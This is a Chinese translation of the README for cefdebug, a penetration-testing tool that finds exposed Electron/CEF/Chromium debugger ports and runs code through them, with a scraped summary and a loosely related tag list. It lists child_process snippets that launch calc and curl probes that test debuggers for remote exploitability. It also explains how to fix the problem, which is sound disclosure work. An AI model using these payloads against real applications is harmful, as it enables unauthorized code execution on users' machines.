taviso/cefdebug
GitHub: taviso/cefdebug
一个极简的命令行工具,用于扫描本地暴露的 CEF/Electron/Chromium 调试端口并通过 WebSocket 连接执行代码,帮助安全人员发现和验证因调试接口遗留导致的安全风险。
Stars: 210 | Forks: 20
# cefdebug
这是一个最小化的命令行工具和/或参考代码,用于
libwebsockets 连接到 electron/CEF/chromium 调试器。
你可能会想:“谁会在发布的产品中启用调试器?”。
事实证明,几乎所有发布 electron 或 CEF 的人都至少犯过一次这个
错误。
在某些配置下,你只需让受害者点击一个链接就能远程弹出一个 shell。
示例:https://bugs.chromium.org/p/project-zero/issues/detail?id=773
在旧版本中,你可以使用 DNS 重绑定远程弹出一个 shell。
示例:https://bugs.chromium.org/p/project-zero/issues/detail?id=1742
示例:https://bugs.chromium.org/p/project-zero/issues/detail?id=1946
在当前版本中,你可以入侵其他本地用户或逃逸沙箱。
示例:https://bugs.chromium.org/p/project-zero/issues/detail?id=1944
这种情况经常发生,所以我认为渗透测试人员可能会发现,拥有一些
易于获取的代码来与它们进行交互是很有用的。
# 用法
首先,扫描本地机器
```
$ ./cefdebug.exe
[2019/10/04 16:18:56:7288] U: There are 3 tcp sockets in state listen.
[2019/10/04 16:18:56:7766] U: There were 1 servers that appear to be CEF debuggers.
[2019/10/04 16:18:56:7816] U: ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a
```
现在你可以向该 `ws://` URL 发送命令。
```
$ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
[2019/10/04 16:35:06:2645] U: >>> process.version
[2019/10/04 16:35:06:2685] U: <<< v10.11.0
```
或者,你可以启动一个简单的交互式 shell。
```
$ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a
>>> ['hello', 'world'].join(' ')
[2019/10/04 16:36:31:0964] U: <<< hello world
>>> a = 1024
[2019/10/04 16:36:44:5250] U: <<< 1024
>>> a * 2
[2019/10/04 16:36:48:3005] U: <<< 2048
>>> quit
```
### 已知示例
以下是我见过的代码片段列表,它们允许在不同的 electron
应用程序中执行代码。
`process.mainModule.require('child_process').exec('calc')`
`window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")`
`require('child_process').spawnSync('calc.exe')`
`Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))`
### 注意事项
如果你发现了一个调试器,这里有一些可以测试的内容。
* 它是否阻止了 [DNS 重绑定](https://en.wikipedia.org/wiki/DNS_rebinding)?
`$ curl -H 'Host: example.com' -si 'http://127.0.0.1:9234/json/list'`
🚨 如果该命令有效(例如返回 json 响应),则这是**可远程**利用的。 🚨
较新版本的 chromium 要求 Host 头匹配 `localhost` 或 IP 地址以防止此类攻击。如果此方法有效,说明你正在查看的应用程序
基于较旧版本的 chromium,并且启用调试器可以被
**远程**利用。你发现了一个严重漏洞,应
紧急报告。
* `new` 命令是否有效?
`$ curl -si 'http://127.0.0.1:9234/json/new?javascript:alert(1)'`
🔥🚨 如果该命令有效(例如返回 json 响应),则这是**极其容易被远程**利用的。 🚨🔥
此命令不需要任何身份验证,也没有 CSRF 保护。只需在
网站中放入 `
` 就
足以触发利用。即使端口是随机的,也很容易被暴力破解。
这是一个非常严重的漏洞,应紧急报告。
# 解决方案
如果你维护着一个 CEF 项目,并且发现自己容易受到这种
攻击,你可能需要在生产构建中更改 `cef_settings_t` 中的以下设置:
https://magpcss.org/ceforum/apidocs3/projects/(default)/_cef_settings_t.html#remote_debugging_port
在 electron 中,你可能正在做类似这样的事情:
`app.commandLine.appendSwitch('remote-debugging-port'...)`
如果你使用的是 node,可能是你在子进程中使用了 `--inspect`。
https://nodejs.org/de/docs/guides/debugging-getting-started/#security-implications
# 构建
## Windows
我使用了 [GNU make](http://gnuwin32.sourceforge.net/packages/make.htm) 和 Visual
Studio 2019 来开发 `cefdebug`。
如果所有依赖项都已安装,只需在开发者命令
提示符中输入 `make` 即可。
我使用的是 Visual Studio 的 "Build Tools" 变体,而我选择安装的唯一组件是 MSVC、MSBuild、CMake 和 SDK。
本项目使用子模块来管理部分依赖项,请确保你正在
使用类似这样的命令来获取所有必需的代码。
```
git submodule update --init --recursive
```
## Linux
主要依赖是 libwebsockets 和 libreadline。
在 Fedora 上,请尝试:
`yum install readline-devel libwebsockets-devel openssl-devel`
如果依赖项已安装,请尝试 `make -f GNUmakefile.linux`
## 嵌入
这段代码旨在足够简单,以便嵌入到其他渗透测试工具中。
# 作者
Tavis Ormandy
# 许可证
所有原创代码均采用 Apache 2.0 许可证,详见 LICENSE 文件。
以下是导入的第三方项目组件。
* [wineditline](http://mingweditline.sourceforge.net/),作者 Paolo Tosco。
* wineditline 用于实现用户友好的命令行输入和
历史记录编辑。
* [libwebsockets](https://libwebsockets.org),作者 Andy Green 等人。
* libwebsockets 是 HTML5 websockets 的可移植 C 语言实现。
标签:CEF调试器, Chromium, DNS重绑定, Electron, Go语言工具, IP 地址批量处理, libwebsockets, SSH蜜罐, V8引擎, WebSocket通信, XXE攻击, 代码执行, 安全扫描, 客户端加密, 开发框架安全, 数据统计, 时序注入, 本地提权, 沙箱逃逸, 端口扫描, 网络安全, 进程注入, 远程攻击, 隐私保护